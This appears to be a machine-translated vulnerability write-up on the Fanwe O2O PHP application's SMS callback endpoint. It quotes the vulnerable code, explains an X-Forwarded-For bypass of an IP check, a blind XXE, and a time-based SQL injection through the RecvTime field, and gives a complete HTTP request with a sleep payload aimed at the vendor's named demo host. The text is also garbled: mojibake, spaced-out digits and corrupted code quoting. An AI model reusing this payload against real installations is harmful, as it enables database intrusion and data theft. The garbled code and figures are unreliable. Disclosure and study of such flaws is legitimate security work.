Square Victoria O2O, the demo site address: http://o2odemo.fanwe.net/
/cpapi/qxtapi.php
code area
define(“FILE_PATH”,“/cpapi”);
require_once ‘…/system/system_init.php’;
$ip = CLIENT_IP;
$xml = file_get_contents(‘php://input’);
if($ip!=’ 221.179.180.156’ || $xml==“”)
{
header(“Content-Type:text/html; charset=utf-8”);
echo “·Ç··ÃÎÊ”;
exit;
}
$xml = str_replace(array(“/r/n”, “/r”, “/n”), “”, $xml);
$xml_arr = simplexml_load_string($xml);
Such as on behalf of the code. IP verification is possible using XFF bypass, directly behind the call to simplexml_load_string to parse the POST string, causing the XXE entity injection.
Because there is no output, so here is a“blind”, the Blind XXE。 Test the official demo, but the data packet is not issued to, may be due to many reasons. whether to support the external network, whether the underlying limit for XML entities, etc, anyway, my local is successful.
Here the read to a file through the base64 to my web log:
! [[email protected]](/Article/UploadPic/2015-9/2 0 1 5 9 2 8 1 6 4 5 1 7 9 3. png)
This is not the focus.
Continue to look at the code behind, theSQL injectionis the focus:
code area
$xml_arr = simplexml_load_string($xml);
$SrcMobile = $xml_arr->Body->Message->SrcMobile;
$Content = $xml_arr->Body->Message->Content;
$RecvTime = $xml_arr->Body->Message->RecvTime;
$arr = explode(“-”,$Content);
$prefix = $arr[0];
if($prefix!=’ u’&&$prefix!=’ v’)
{
if(log_coupon(“”,“SMS content:”.$ Content,$RecvTime)&&$SrcMobile)
{
$msg_data[‘dest’] = $SrcMobile;
$msg_data[‘send_type’] = 0;
$msg_data[‘content’] = “SMS format is error”;
$msg_data[‘send_time’] = 0;
$msg_data[‘is_send’] = 0;
$msg_data[‘create_time’] = NOW_TIME;
$msg_data[‘user_id’] = 0;
$msg_data[‘is_html’] = 0;
$GLOBALS[‘db’]->autoExecute(DB_PREFIX.“deal_msg_list”,$msg_data); //insert
echo “ok”;
exit;
}
}
Visible from the xml read content, incoming the log_coupon function, follow up see:
code area
function log_coupon($coupon_sn,$msg,$query_id = ")
{
$data = array();
$data[‘coupon_sn’] = $coupon_sn;
$data[‘msg’] = $msg;
$data[‘query_id’] = $query_id;
$data[‘create_time’] = NOW_TIME;
if($GLOBALS[‘db’]->getOne(“select count(*) from “. DB_PREFIX.“coupon_log where query_id = '”.$ query_id.”'”)== 0)
{
$GLOBALS[‘db’]->autoExecute(DB_PREFIX.“coupon_log”,$data); //insert
return true;
}
else
{
return false;
}
}
Visible query_id is XML in RecvTime directly into the SQL statement.
This demo Station can demonstrate that the delay of the injection. POST the following data package:
code area
POST /cpapi/qxtapi.php HTTP/1.1
Host: o2odemo.fanwe.net
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 1 4 7
X-FORWARDED-FOR: 221.179.180.156
<aaaa>
The <Body>
<Message>
<SrcMobile>1 3 3 2 2 2 2 1 1 1 1</SrcMobile>
<Content>1 2 3 1 2 3</Content>
<RecvTime>0’|sleep(5)#</RecvTime>
</Message>
</Body>
</aaaa>
You can see the delay of 5 seconds before showing results.
Wrote a script to run the database user name. See the test code.
! [[email protected]](/Article/UploadPic/2015-9/2 0 1 5 9 2 8 1 6 4 5 1 3 2 6. png)
! [[email protected]](/Article/UploadPic/2015-9/2 0 1 5 9 2 8 1 6 4 5 1 5 2 3. png)